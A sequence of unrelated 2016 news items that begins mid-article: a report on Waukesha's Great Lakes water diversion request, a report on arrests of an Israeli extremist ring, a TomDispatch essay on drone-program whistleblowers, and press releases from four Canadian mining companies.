SEWRPC delineated the original water service area to match the city's sewer service area, as required by a state law. Ebersberger said he was not certain if the law was flexible enough to accommodate the revisions recommended Friday by the regional officials. He will review the law next week with DNR attorneys, Ebersberger said.

The DNR in December found that Waukesha's unprecedented request to divert water out of the Great Lakes basin complied with all requirements of a 2008 federal law known as the Great Lakes protection compact.

The state and provincial officials met in Chicago for the purpose of reviewing the DNR's findings in support of the city's request.

Among those findings: Waukesha does not have an adequate supply of water that is fit to drink, due to radium contamination of deep groundwater supplies; and all the city's water supply options outside the Great Lakes basin would have adverse effects on wetlands, streams and inland lakes.

Officials from the eight states and two provinces will talk as a group in a May 2 conference call to review changes made this week to the city's request.

The regional group will gather again in Chicago on May 10 and 11 to reach consensus on Waukesha's request.

If they recommend approval of the request at that time, it moves to a vote of the eight Great Lake's governors or their designated representatives on June 13 in Chicago.

The provincial governments of Ontario and Quebec participated in the regional review, but their premiers do not get to vote on the proposal.

Only one state vote in opposition could derail the city's $207 million plan to buy lake water from Oak Creek, pump it to Waukesha and return treated wastewater to the lake via the Root River.

Waukesha Mayor Shawn Reilly said he would not predict the final vote.

"The representatives of the states and provinces came here with a good understanding of the application," Reilly said.

"They seem to understand that the City of Waukesha has no option for water other than going to Lake Michigan."

Reilly said he would meet next week with officials from the towns impacted by the regional group's recommended downsizing of the water service area. The towns of Waukesha, Delafield and Genesee had asked to be included in the area.

If the city's request is approved, Waukesha would halt use of 10 wells. Seven wells draw radium-contaminated water from a deep sandstone aquifer that has been depleted over time and is 350 feet below its pre-settlement levels.

Waukesha is under a court-ordered deadline of June 2018 to fully comply with federal drinking water standards for radium.
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By Maan News Agency |  

BETHLEHEM (Maan)  Israels Shin Bet security agency recently uncovered a Jewish terrorist ring which carried out a number of acts of violence targeting Palestinians in the northern occupied West Bank, Israeli security services revealed on Wednesday.

At least seven right-wing Israeli extremists were arrested earlier this month after being suspected of belonging to a ring which committed a number of anti-Palestinian acts, Israeli police spokeswoman Luba al-Samri said in a statement after an Israeli authorities-issued gag order was lifted on the case.

The suspects include a 19-year-old Israeli soldier, two 20-year-old men, and a 17-year-old, the police statement added.

Israeli media identified some of the Israelis arrested as Pinhas Shendrofi, 22, from the illegal settlement of Kyriat Arba, and Itamar Ben Aharon and Michael Kaplan from the settlement of Nahliel in the central West Bank.

Israeli daily Haaretz reported that two minors and the soldier, whose identities were prohibited from publication under an Israeli military court gag order, were brothers from Nahliel belonging to the Shendrofi family. Yigal Shendrofi, the suspects father, is a rabbi linked to Israels extremist right wing, Haaretz added.

The Israeli army declined to comment on the case of the soldier suspected of belonging to the ring.

Al-Samri said the suspects confessed to attacking an elderly Palestinian farmer in June with rods and pepper spray, as well as hurling Molotov cocktails and tear gas canisters at Palestinian homes in November and December. They also admitted to torching Palestinian cars and tagging racist slogans such as death to Arabs on Palestinian property.

The ring members said they were in part inspired by the Duma arson attack, the police statement added, in reference to a deadly attack in the northern West Bank village of Duma in July by extremist Israeli settlers, which killed an 18-month-old baby and his parents, with a four-year-old boy remaining the only survivor of the fire.

However, Israeli news site Ynet reported that the suspects were also being investigated for acts dating back as far as 2008.

A lawyer from Zionist legal aid organization Honenu, which is representing the suspects in the case, downplayed the accusations against them.

In contrast with all sorts of rumors and half-publications, most of the offenses investigated in this matter involve no harm to human life, and most are no more than a scuffle between people, Ynet quoted Aharon Roza as saying, before condemning the fact that the suspects have allegedly not been given proper access to an attorney.

Meanwhile, the organization Rabbis for Human Rights hailed the arrests, while similarly expressing concern over the treatment of the suspects.

This is a positive sign that the security forces are taking Jewish terrorism against Palestinians seriously, the organization said in a statement. In the cases where Palestinian farmers are attacked and threatened by Israeli extremists, we often see incompetence of the security forces and sometimes even indirect or direct support of the attackers.

Allegations of improper legal proceedings against Jewish suspects  such as the denying of legal counsel  need to also be thoroughly investigated, the Israeli organization added. Even a positive step cannot rely on improper procedures.

Over 500,000 Israelis live in Jewish-only settlements across occupied East Jerusalem and the West Bank in violation of international law, with recent announcements of settlement expansion provoking condemnation from the international community.

Settler violence against Palestinians and their property is common but rarely prosecuted by Israeli authorities.

The Israeli court system has received international criticism for its longstanding policy of immunity for Israeli forces and settlers, while Palestinians hold widespread distrust for the system.

A joint investigation by Israeli rights group BTselem and Hamoked earlier this year reported that Israels court system routinely postpones or slows down investigations regarding violations against Palestinians, with the intent of pushing families or individuals to eventually drop their case.

Via Maan News Agency



Related video added by Juan Cole:

TeleSur: Israeli Soldier Charged with Manslaughter for Killing Palestinian
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By Pratap Chatterjee | (Tomdispatch.com) |  

In a trio of recent action-packed movies, good guys watch terrorists mingling with innocent women and children via real-time video feeds from halfway across the world. A clock ticks and we, the audience, are let in on the secret that mayhem is going to break loose. After much agonized soul-searching about possible collateral damage, the good guys call in a missile strike from a U.S. drone to try to save the day by taking out a set of terrorists.

Such is the premise of Gavin Hoods Eye in the Sky, Andrew Niccols Good Kill, and Rick Rosenthals Drones. In reality, in Washingtons drone wars neither the good guys nor the helpless, endangered villagers under those robotic aircraft actually survive the not-so secret drone war that the Obama administration has been waging relentlessly across the Greater Middle East  not, at least, without some kind of collateral damage. In addition to those they kill, Washingtons drones turn out to wound (in ways both physical and psychological) their own operators and the populations who live under their constant surveillance. They leave behind very real victims with all-too-real damage, often in the form of post-traumatic stress disorder on opposite sides of the globe.

Sometimes I am so sad that my heart wants to explode, an Afghan man says, speaking directly into the camera. When your body is intact, your mind is different. You are content. But the moment you are wounded, your soul gets damaged. When your leg is torn off and your gait slows, it also burdens your spirit. The speaker is an unnamed victim of a February 2010 drone strike in Uruzgan, Afghanistan, but he could just as easily be an Iraqi, a Pakistani, a Somali, or a Yemeni. He appears in National Bird, a haunting new documentary film by Sonia Kennebeck about the unexpected and largely unrecorded devastation Washingtons drone wars leave in their wake. In it, the audience hears directly from both drone personnel and their victims.

I Was Under the Impression That America Was Saving the World

When we are in our darkest places and we have a lot to worry about and we feel guilty about our past actions, its really tough to describe what that feeling is like, says Daniel, a whistleblower who took part in drone operations and whose last name is not revealed in National Bird. Speaking of the suicidal feelings that sometimes plagued him while he was involved in killing halfway across the planet, he adds, Having the image in your head of taking your own life is not a good feeling.

National Bird is not the first muckraking documentary on Washingtons drone wars. Robert Greenwalds Unmanned, Tonje Scheis Drone, and Madiha Tahrirs Wounds of Waziristan have already shone much-needed light on how drone warfare really works. But as Kennebeck told me, when she set out to make a film about the wages of the newest form of war known to humanity, she wanted those doing the targeting, as well as those they were targeting, to speak for themselves. She wanted them to reveal the psychological impact of sending robot assassins, often operated by pilots halfway around the world, into the Greater Middle East to fight Washingtons war on terror. In her film, theres no narrator, nor experts in suits working for think tanks in Washington, nor retired generals debating the value of drone strikes when it comes to defeating terrorism.

Instead, what you see is far less commonplace: low-level recruits in President Obamas never-ending drone wars, those Air Force personnel who remotely direct the robotic vehicles to their targets, analyze the information they send back, and relay that information to the pilots who unleash Hellfire missiles that will devastate distant villages. If recent history is any guide, these drones do not just kill terrorists; in their target areas, they also create anxiety, upset, and a desire for revenge in a larger population and so have proven a powerful weapon in spreading terror movements across the Greater Middle East.

These previously faceless but distinctly non-robotic Air Force recruits are the cannon fodder of Americas drone wars. You meet two twenty-somethings: Daniel, a self-described down-and-out homeless kid, every male member of whose family has been in jail on petty charges of one kind or another, and Heather, a small town high school graduate trying to escape rural Pennsylvania. You also meet Lisa, a former Army nurse from California, who initially saw the military as a path to a more meaningful life.

The three of them worked on Air Force bases scattered around the country from California to Virginia. The equipment they handled hovered above war zones in Afghanistan and Iraq, as well as Pakistan and Yemen (where the U.S. Air Force was supporting assassination missions on behalf of the Central Intelligence Agency).

That is so cool, unmanned aircraft. Thats really bad-ass. So Heather thought when she first saw recruitment posters for the drone program. I was under the impression, she told Kennebeck, that America was saving the world, like that we were Big Brother and we were helping everyone out.

Initially, Lisa felt similarly: When I first got into the military, I mean I was thinking it was a win-win. It was a force for good in the world. I thought I was going to be on the right side of history.

And that was hardly surprising. After all, youre talking about the perfect weapon, the totally high-tech, precise and surgical, no-(American)-casualties, sci-fi version of war that Washington has been promoting for years as its answer to al-Qaeda and other terror outfits. President Obama who has personally overseen the drone campaigns  with a kill list and terror Tuesday meetings at the White House  vividly described his version of such a modern war in a 2013 speech at the National Defense University:

This is a just war  a war waged proportionally, in last resort, and in self-defense. We were attacked on 9/11. Under domestic law, and international law, the United States is at war with al-Qaeda, the Taliban, and their associated forces America does not take strikes to punish individuals; we act against terrorists who pose a continuing and imminent threat to the American people. And before any strike is taken, there must be near-certainty that no civilians will be killed or injured  the highest standard we can set.

That distinctly Hollywood vision of Americas drone wars (with a Terminator edge) was the one that had filtered down to the level of Kennebecks three drone-team interviewees when they signed on. It looked to them then like a war worth fighting and a life worth leading. Today, as they speak out, their version of such warfare looks nothing like what either Hollywood or Washington might imagine.

Excuse Me, Sir, Can I Have Your Drivers License?

National Bird does more than look at the devastation caused by drones in far away lands and the overwhelming anxiety it produces among those who live under the distant buzzing and constant threat of those robotic aircraft on an almost daily basis. Kennebeck also turns her camera on the men and women who helped make the strikes possible, trying to assess what the impact of their war has been on them. Their raw and unfiltered responses should deeply trouble us all.

Kennebecks interviewees are among at least a dozen whistleblowers who have stepped forward, or are preparing to do so, in order to denounce Washingtons drone wars as morally unjustified, as in fact nightmares both for those who fight them and those living in the lands that are on the receiving end. The realities of the day-in, day-out war they fought for years were, as they tell it, deeply destructive and filled with collateral damage of every sort. Worse yet, drone operators turn out to have little real idea about, and almost no confirmation of, whom exactly theyve blown away.

Its so primitive, raw, stripped-down death. This is real. Its not a joke, says Heather, an imagery analyst whose job was to look at the streaming video coming in from drones over war zones and interpret the grainy images for senior commanders in the kill chain. You see someone die because you said it was okay to kill them. I was always shaking. Sometimes I would just go to the bathroom and just sit on the toilet. I mean just sit there in my uniform and just cry.

Advocates of drone war believe, as do many of its critics, that it minimizes casualties. These Air Force veterans have, however, stepped forward to tell us that such claims simply arent true. In a study of what can be known about drone killings, the human rights group Reprieve has confirmed this reality vividly, finding that, in Pakistan, in attempts to take out 41 men, American drones actually killed an estimated 1,147 people (while not all of the 41 targeted figures even died). In other words, this hasnt proved to be a war on terror, but a war of terror, a reality the drone whistleblowers confirm.

Heather is blunt in her criticism. Hearing politicians speak about drones being precision weapons [makes it seem like theyre] able to make surgical strikes. To me its completely ridiculous, completely ludicrous to make these statements.

The three whistleblowers point, for instance, to the complete absence of any post-strike verification of who exactly has died. Theres a bomb. They drop it. It explodes, Lisa says. Then what? Does somebody go down and ask for somebodys drivers license? Excuse me, sir, can I have your drivers license, see who you are? Does that happen? I mean, how do we know? How is it possible to know who ends up living or dying?

After three years as an imagery analyst, after regularly watching unknown people die thousands of miles away on a grainy screen, Heather was diagnosed as suicidal. She estimates  and the experiences of other drone whistleblowers back her up  that alcoholics accounted for a significant percentage of her unit, and that many of her co-workers had similarly suicidal thoughts. Two actually did kill themselves.

As Heathers grandfather points out, She had trouble getting the treatment she needed. She had trouble finding a doctor because they didnt have the right security clearance [and] she could be in violation of the law and could even go to prison for even talking to the wrong therapist about what was bothering her.

In desperation Heather turned to her mother. Shed call me up and shed cry and shed be upset, but then she couldnt talk about it, her mother says. When you hear your daughter talking to you on the phone, you can that tell she is in trouble just by the emotion and inflection and the stress that you can hear in her voice. When you ask her, did you talk to anyone else about it? Shed say no, were not allowed to talk to anybody. I have a feeling that if someone wasnt there for her, she wouldnt be here right now.

Like Heather, Daniel has so far survived his own drone-war-induced mental health issues, but in his post-drone life hes run into a formidable enemy: the U.S. government. On August 8, 2014, he estimates that as many as 50 Federal Bureau of Investigation agents raided his house, seizing documents and his electronics.

The government suspects that he is a source of information about the [drone] program that the government doesnt want out there, says Jesselyn Radack, his lawyer and herself a former Department of Justice whistleblower. To me, thats simply an attempt to silence whistleblowers, and it doesnt surprise me that that happens to the very few people who have been brave enough to speak out against the drone program.

If that was the intention, however, the raid  and the threat it carries for other whistleblowers  seems not to have had the desired effect. Instead, the number of what might be thought of as defectors from the drone program only seems to be growing. The first to come out was Brandon Bryant, a former camera operator in October 2013. He was followed by Cian Westmoreland, a former radio technician, in November 2014. Last November, Michael Haas and Stephen Lewis, two imagery analysts, joined Westmoreland and Bryant by speaking out at the launch of Tonje Scheis film Drone. All four of them also published an open letter to President Obama warning him that the drone war was escalating terrorism, not containing it.

And just last month, Chris Aaron, a former counterterrorism analyst for the CIAs drone program, spoke out on a panel at the University of Nevada Law School. In the relatively near future, Radack recently told Rolling Stone, four more individuals involved in Americas drone wars are planning to offer their insights into how the program works.

Like Heather and Daniel, many of the former drone operators who have gone public are struggling with mental health problems. Some of them are also dealing with substance abuse issues that began as a way to counteract or dull the horrors of the war they were wagomg and witnessing. We used to call alcohol drone fuel because it kept the program going. Everyone drank. There was a lot of coke, speed, and that sort of thing, imagery analyst Haas told Rolling Stone. If the higher ups knew, then they didnt say anything, but Im pretty sure they must have known. It was everywhere.

Imagine If This Was Happening to Us

In recent months, something has changed for the whistleblowers. There is a new sense of camaraderie among them, as well as with the lawyers defending them and a growing group of activist supporters. Most unexpectedly, they are hearing from the families of victims of drone strikes, thanks to the work of groups like Reprieve in Great Britain.

In mid-April, for instance, Cian Westmoreland traveled to London and met Malik Jalal, a Pakistani tribal leader who claims that he has been targeted by U.S. drones on multiple occasions. Clive Lewis, a member of Parliament and military veteran, released a photo on Facebook of the historic meeting. Its possible that one of the two men Im [standing] between in this picture, Cian Westmoreland, was trying to kill the man on my right, Malik Jalal  at some stage in the past seven years, Lewis wrote. Their story is both amazing and terrifying. At once it shows the growing menace and destructive capability of unchecked political and military power juxtaposed with the power of the human spirit and human solidarity.

As that sense of solidarity strengthens and as the distance between the former hunters and the hunted begins to narrow, the whistleblowers are beginning to confront some distinctly uncomfortable questions. We often hear that drones can see everything by day and by night, a different drone victim of the February 2010 strike in Uruzgan told filmmaker Kennebeck. You can see the difference between a needle and an ant but not people? We were sitting in the pickup truck, some even on the bed. Did you not see that there were travelers, women and children?

When the president and his key officials look at the drone program, they undoubtedly dont see women and children. Instead, they are caught up in a Hollywood-style vision of imminent danger from terrorists and of the kind of salvation that a missile launched from thousands of miles away provides. It is undoubtedly thanks to just this thought process, already deeply embedded in the American way of war, that not a single candidate for president in 2016 has rejected the drone program.

That is exactly what the whistleblowers feel needs to change. I just want people to know that not everybody is a freaking terrorist and we need to just get out of that mindset. And we just need to see these people as people  families, communities, brothers, mothers, and sisters, because thats who they are, says Lisa. Imagine if this was happening to us. Imagine if our children were walking outside of the door and it was a sunny day and they were afraid because they didnt know if today was the day that something would fall out of the sky and kill someone close to them. How would we feel?

Pratap Chatterjee, a TomDispatch regular, is executive director of CorpWatch. He is the author of Halliburtons Army: How A Well-Connected Texas Oil Company Revolutionized the Way America Makes War. His next book, Verax, a graphic novel about whistleblowers and mass surveillance co-authored with Khalil Bendib, will be published by Metropolitan Books in 2017.

[Note: Sonia Kennebecks National Bird premieres this month at New Yorks Tribeca Film Festival and at the San Francisco Film Festival. It will open in theaters this fall.]

Follow TomDispatch on Twitter and join us on Facebook. Check out the newest Dispatch Book, Nick Turses Tomorrows Battlefield: U.S. Proxy Wars and Secret Ops in Africa, and Tom Engelhardts latest book, Shadow Government: Surveillance, Secret Wars, and a Global Security State in a Single-Superpower World.

Copyright Pratap Chatterjee 2016

via Tomdispatch.com

-

Related video added by Juan Cole:

Wochit: The Human Toll Of American Drone Warfare
VANCOUVER, April 22, 2016 /CNW/ - Bear Creek Mining Corporation (TSX-V: BCM) (the "Company" or "Bear Creek") announced today that its board of directors has approved the adoption of a Shareholder Rights Plan (the "Rights Plan") pursuant to a Shareholder Rights Plan Agreement (the "Rights Plan Agreement") between the Company and Computershare Trust Company of Canada. Shareholder approval of the Rights Plan will be sought at the Company's annual meeting of shareholders to be held on June 2, 2016. The Rights Plan is subject to TSX Venture Exchange acceptance and shareholder ratification.

The fundamental objectives of the Rights Plan are to provide adequate time for Bear Creek's board of directors (the "Board") and shareholders to assess an unsolicited take-over bid for the Company; to provide the Board with sufficient time to explore and develop alternatives for enhancing and maximizing shareholder value if a take-over bid is made; and, to provide shareholders with an equal opportunity to participate in a take-over bid. The Rights Plan encourages a potential acquirer who makes a take-over bid (an "Acquirer") to ensure the take-over bid satisfies certain minimum standards designed to promote fairness, or to proceed with the concurrence of the Board (a "Permitted Bid"). If a take-over bid fails to meet these minimum standards and the Rights Plan is not waived by the Board, the Rights Plan provides that holders of common shares of the Company, other than the Acquirer, will be able to purchase additional common shares at a significant discount to market, thus exposing the Acquirer to substantial dilution of its holdings.

The Rights Plan has been prepared in alignment with recent amendments to the regulatory framework governing take-over bids published by the Canadian Securities Administrators, which are scheduled to generally come into effect on May 9, 2016. The Board considers that the adoption of the Rights Plan is desirable and in the interests of all of the Company's shareholders, and recommends shareholders vote in favour of the Rights Plan at its annual general meeting scheduled for June 2, 2016. If the Rights Plan is ratified by the eligible shareholders at such meeting, it will have an initial term which expires at the annual meeting of shareholders of the Company to be held in 2019 unless terminated earlier. The Rights Plan may be extended beyond 2019 by approval of eligible shareholders at such 2019 meeting.

Pursuant to the Rights Plan, effective April 20, 2016 rights (the "Rights") have been issued and attached to all of Bear Creek's outstanding common shares. A separate rights certificate will not be issued until such time as the Rights become exercisable (which is referred to as the "separation time"). The Rights will become exercisable only if a person, together with its affiliates, associates and joint actors, acquires or announces its intention to acquire beneficial ownership of Bear Creek common shares which, when aggregated with its current holdings, total 20% or more of the outstanding Bear Creek common shares (determined in the manner set out in the Rights Plan) other than as permitted under the Rights Plan. The Rights will effectively permit holders, other than an Acquirer and such related parties, to purchase common shares of the Company at a 50% discount to their market price (as defined in the Rights Plan Agreement).

The Rights Plan was not adopted by the Board in response to, or in anticipation of, any offer or take-over bid. The Company has no knowledge of any pending or threatened takeover bids for the Company, and has no reason to believe that any takeover offer for the Company's shares is imminent.

Additional details regarding the Rights Plan will be provided in the Management Information Circular that will be available for viewing on SEDAR and mailed to the shareholders of the Company prior to the Company's upcoming annual meeting of shareholders scheduled for June 2, 2016.

On behalf of the Board of Directors,

Andrew Swarthout

President and CEO

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements:

This news release contains forward-looking statements and information (collectively, "forward-looking statements") regarding the terms and conditions and effect of the Rights Plan and the Rights Plan Agreement. Forward-looking statements relate to future events or future performance and by their very nature involve inherent risks and uncertainties, both general and specific, and risks exist that the estimates, forecasts, projections and other forward-looking statements expressed herein will not be achieved or that assumptions that underlie these statements do not reflect future experience. All forward-looking statements are based on the Company's current beliefs as well as various assumptions made by and information currently available to it, including assumptions regarding the Shareholder Rights Plan remaining in effect as planned. While the forward-looking statements express management's best estimates, objectives, predictions, expectations or beliefs at the time they are made, a number of factors could cause the actual outcomes to differ materially from those expectations expressed in forward-looking statement and undue reliance should not be placed on them. When relying on our forward-looking statements, investors and others should carefully consider the foregoing factors and other uncertainties and potential events. The Company does not undertake to update any forward-looking statement, whether written or oral, that may be made from time to time by the Company or on behalf of the Company, except as required by law.

SOURCE Bear Creek Mining Corporation
TORONTO, ON --(Marketwired - April 22, 2016) -

NOT FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES OR DISSEMINATION IN THE UNITED STATES

LeadFX Inc. (the "Company" or "LeadFX") (TSX: LFX) today announced that it has executed an unsecured promissory grid note (the "Note") in favour of Sentient Global Resource Fund IV, LP ("Sentient"). Pursuant to the Note, Sentient has agreed to lend the Company up to US$2,500,000 without interest with the principal repayable on June 30, 2017.

The Note will allow the Company greater financial flexibility to maintain restart readiness over the coming months while it reviews the conditions for a restart of the Paroo Station mine. Those conditions include a sustained improvement in LME lead prices supported by positive market fundamentals, favourable foreign exchange rates and treatment charges as well as identification of additional sources of funding.

The Sentient Group of Global Resource Funds are the majority shareholder of LeadFX. Additional information on LeadFX is available on SEDAR at www.sedar.com and the Company's website at www.leadfxinc.com

About LeadFX

LeadFX is a Canadian-based mining company focused on the development of lead-silver projects located in stable jurisdictions. Our current portfolio includes a restart-ready lead operation in Western Australia and a development project in Utah, USA. The Company is developing opportunities at its new properties in North America to underpin future cash flow and growth. LeadFX trades under the symbol "LFX" on the Toronto Stock Exchange.

Forward-Looking Statements

This news release may contain "forward-looking statements" within the meaning of applicable Canadian securities laws. Examples of forward-looking information in this news release includes but is not limited to statements and information concerning the intended use of proceeds of the Note, the potential restart of the Paroo Station Mine and final Toronto Stock Exchange approval of the Note. Forward-looking statements are often, but not always, identified by the use of words such as "seek", "anticipate", "contemplate", "target", "believe", "plan", "estimate", "expect", and "intend" and statements that an event or result "may", "will", "can", "should", "could" or "might" occur or be achieved and other similar expressions. Forward-looking information by its nature requires assumptions and involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking information, and readers are cautioned not to place undue reliance on such information. These statements are based on expectations, estimates and projections as at the date of this news release and are subject to a number of risks and uncertainties. Should one or more of these risks or uncertainties materialize, or should assumptions underlying the forward-looking information prove incorrect, actual results, performance or achievement may vary materially from those expressed or implied by the forward-looking information contained in this news release. These risk factors should be carefully considered and readers are cautioned not to place undue reliance on forward-looking information, which is current only as of the date of this news release. All subsequent forward-looking information attributable to LeadFX herein is expressly qualified in its entirety by the cautionary statements contained in or referred to herein. LeadFX does not undertake any obligation to release publicly any revisions to this forward-looking information to reflect events or circumstances that occur after the date of this news release or to reflect the occurrence of unanticipated events, except as may be required under applicable securities laws.
VANCOUVER, April 22, 2016 /CNW/ - Wellgreen Platinum Ltd. ("Wellgreen Platinum" or the "Company") (TSX: WG; OTC-QX: WGPLF) is pleased to provide an update regarding its previously announced private placement financing involving Electrum Strategic Opportunities Fund L.P. ("Electrum") and certain existing shareholders (the "Private Placement"). The Company had previously announced that the second tranche of the Private Placement (the "Second Tranche"), which contemplates the issuance of up to 55,000,000 units of the Company, was subject to disinterested shareholder approval pursuant to the rules and policies of the Toronto Stock Exchange (the "TSX"), and, accordingly, the Company set a shareholders' meeting to be held on May 10, 2016 (the "Meeting") in order to obtain the requisite disinterested shareholder approval.

The Company is pleased to announce that, in accordance with Section 604(d) of the TSX Company Manual, it has obtained written consent from shareholders holding in excess of 50% of the common shares of the Company eligible to vote to approve the Second Tranche at the Meeting, pursuant to which such shareholders have confirmed that they would vote in favour of approving the Second Tranche. As a result, the TSX has waived the requirement for the Company to obtain disinterested shareholder approval at a shareholders' meeting. As no other business was scheduled to be conducted at the Meeting, the Company will cancel the Meeting and proceed to complete the Second Tranche as soon as reasonably practicable.

This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities in the United States. The securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and any applicable state securities laws or an exemption from such registration is available.

About Wellgreen Platinum

Wellgreen Platinum is a Canadian mining exploration and development company focused on the active advancement of its Wellgreen platinum group metals (PGM) and nickel project. Located in the Yukon Territory of Canada, the 2015 PEA demonstrated that the Wellgreen PGM and nickel project has the potential to become a large, low cost, open pit producer of platinum, palladium, gold, nickel, and copper. The Wellgreen property is accessible from the paved Alaska Highway, which leads to year-round deep sea ports in southern Alaska.

The Company is led by a management team with a track record of successful large-scale project discovery, development, financing and operation. Our vision is to create value for our shareholders through development of the Wellgreen deposit into a leading North American PGM and nickel producer.

Cautionary Note Regarding Forward Looking Information: This news release includes certain information that may be deemed "forward-looking information". Forward-looking information can generally be identified by the use of forward-looking terminology such as "may", "will", "expect", "intend", "estimate", "anticipate", "believe", "continue", "plans" or similar terminology, or negative connotations thereof. All information in this release, other than information of historical facts, including, without limitation, the cancellation of the Meeting, the completion of the Second Tranche, results of the 2015 PEA, the size and scale of the Wellgreen deposit, future exploration and development of the Wellgreen PGM and nickel project, the undertaking of any potential Pre-Feasibility Study, the undertaking of future activities and work programs at the Wellgreen PGM and nickel project, realization of the potential of the Wellgreen deposit, the active advancement of the Wellgreen PGM and nickel project, and general future plans and objectives for the Company and the Wellgreen PGM and nickel project are forward-looking information that involve various risks and uncertainties. Although the Company believes that the expectations expressed in such forward-looking information are based on reasonable assumptions, such expectations are not guarantees of future performance and actual results or developments may differ materially from those in the forward-looking information. Forward-looking information is based on a number of material factors and assumptions. Factors that could cause actual results to differ materially from the forward-looking information include changes in project parameters as plans continue to be refined, future metal prices, availability of capital and financing on acceptable terms, general economic, market or business conditions, uninsured risks, regulatory changes, defects in title, availability of personnel, materials and equipment on a timely basis, accidents or equipment breakdowns, delays in receiving government approvals, the Company's ability to maintain the support of stakeholders necessary to develop the Wellgreen PGM and nickel project, unanticipated environmental impacts on operations and costs to remedy same, and other risks detailed herein and from time to time in the filings made by the Company with securities regulatory authorities in Canada. Mineral exploration and development of mines is an inherently risky business. Accordingly, actual events may differ materially from those projected in the forward-looking information. For more information on the Company and the key assumptions, risks and challenges with respect to the forward looking information discussed herein, and about our business in general, investors should review the 2015 PEA technical report on the Wellgreen PGM and nickel project, our most recently filed annual information form, and other continuous disclosure filings which are available at www.sedar.com. Readers are cautioned not to place undue reliance on forward-looking information. The Company does not undertake to update any forward looking information, except in accordance with applicable securities laws.

SOURCE Wellgreen Platinum Ltd.
SASKATOON, SASKATCHEWAN--(Marketwired - April 21, 2016) -

ALL AMOUNTS ARE STATED IN CDN $ (UNLESS NOTED)

Cameco (TSX:CCO) (NYSE:CCJ) announced today that it is suspending production at its Rabbit Lake operation in northern Saskatchewan and production is being curtailed at Cameco Resources' US operations by deferring wellfield development. The changes are expected to result in a reduction of about 500 positions at Rabbit Lake and about 85 at the US operations, including employees and long-term contractors.

"We regret the impact these decisions will have on many of the talented and dedicated people working at these operations and on their home communities," said Cameco president and CEO Tim Gitzel. "Unfortunately, continued depressed market conditions do not support the operating and capital costs needed to sustain production at Rabbit Lake and the US operations. These measures will allow us to continue delivering value to Cameco's many stakeholders and support the long-term health of our company. We will provide assistance to those affected by these decisions."

Cameco and its US subsidiaries are working with employees at the affected operations to ensure a safe and orderly implementation of the decisions.

The Rabbit Lake operation will be placed in a safe care and maintenance state allowing Cameco the option to resume production when market conditions significantly improve. Cameco will offer affected employees exit packages. Where possible, the company will consider alternatives such as relocation to other Cameco facilities and job sharing options as part of its effort to minimize the impact on people and surrounding communities. A workforce of about 150 people will be required to maintain the facilities and sustain environmental monitoring and reclamation activities at Rabbit Lake. Work to transition the operation to care and maintenance will begin immediately and is expected to be completed by the end of August 2016. Workforce adjustments will occur over the next four months.

The US operations will continue to employ about 170 people to operate existing facilities and restore depleted wellfields, but new wellfield development will be stopped. The affected US employees will be offered exit packages with the workforce adjustments to be completed by the end of May. The US operations will continue ongoing licensing efforts to maintain the option to resume development when market conditions significantly improve.

As a result of these decisions, final production at Rabbit Lake is expected to be 1.0 million pounds in 2016 (previously 3.6 million pounds). In the US, 2016 production is expected to be 1.1 million pounds (previously 1.4 million pounds). Due to the nature of ISR (in situ recovery) mining and wellfield restoration requirements, production in the US cannot cease immediately and instead will decrease over time as head grades decline. Cameco will also review its corporate office activities in support of Rabbit Lake and the US operations with the objective of reducing general and administrative expenses.

In addition, given the current state of oversupply in the market, we have decided to reduce our 2016 production target at the McArthur River/Key Lake operation to 18 million pounds from 20 million pounds (100% basis). We will take the opportunity from additional downtime at the mill to further advance work needed to increase the mill's production capacity for when the market signals it is needed. This includes changes to the solvent extraction circuit, bringing some work on the crystallization circuit forward from 2017 and transitioning to the new calciner. There are no workforce impacts related to this change in production.

We continue to ramp up production at Cigar Lake and plan to produce 16 million pounds (100% basis) this year, subject to AREVA's McClean Lake mill receiving the necessary regulatory approvals to increase its licensed annual production capacity from 13 million pounds to 24 million pounds.

Cameco's annual production is now expected to be 25.7 million pounds (previously 30 million pounds).

The carrying value of Rabbit Lake is about $108 million and of the US operations is approximately $62 million (US$48 million) net of provision for reclamation. The cost of placing Rabbit Lake into care and maintenance for 2016 will be about $35 million. The expected reduction in the 2016 capital expenditures from these operational changes is approximately $48 million. The estimated severance cost is about $19 million and will be reflected in our second quarter earnings.

Keeping Rabbit Lake in a state of care and maintenance and deferring wellfield development at our US operations, rather than closing the operations permanently, gives Cameco the flexibility to increase production when market conditions significantly improve. However, with today's oversupplied market and uncertainty as to how long these market conditions will persist, we need to focus our resources on our lowest cost assets and maintain a strong balance sheet.

Profile

Cameco is one of the world's largest uranium producers, a significant supplier of conversion services and one of two Candu fuel manufacturers in Canada. Our competitive position is based on our controlling ownership of the world's largest high-grade reserves and low-cost operations. Our uranium products are used to generate clean electricity in nuclear power plants around the world. We also explore for uranium in the Americas, Australia and Asia. Our shares trade on the Toronto and New York stock exchanges. Our head office is in Saskatoon, Saskatchewan.

Caution Regarding Forward-Looking Information and Statements

Certain statements in this press release are "forward-looking information" or "forward-looking statements" within the meaning of Canadian and U.S. securities laws. They include: our ability to ensure a safe and orderly implementation; our ability to resume production when market conditions significantly improve; that these measures will allow us to continue to deliver value and will support the long-term health of the company; the expectation that transition to care and maintenance will begin immediately and be completed by the end of August 2016; the ability of the U.S. operations to continue ongoing licensing efforts to facilitate future resumption of production; the expected production levels at Rabbit Lake, our U.S. operations and Cigar Lake for 2016, and our overall 2016 expected production level; the impact of additional scheduled downtime for the Key Lake mill on McArthur River/Key Lake's production target; the expected cost of placing Rabbit Lake into care and maintenance for 2016; our expected reduction in capital expenditures for 2016; and the expected severance costs.

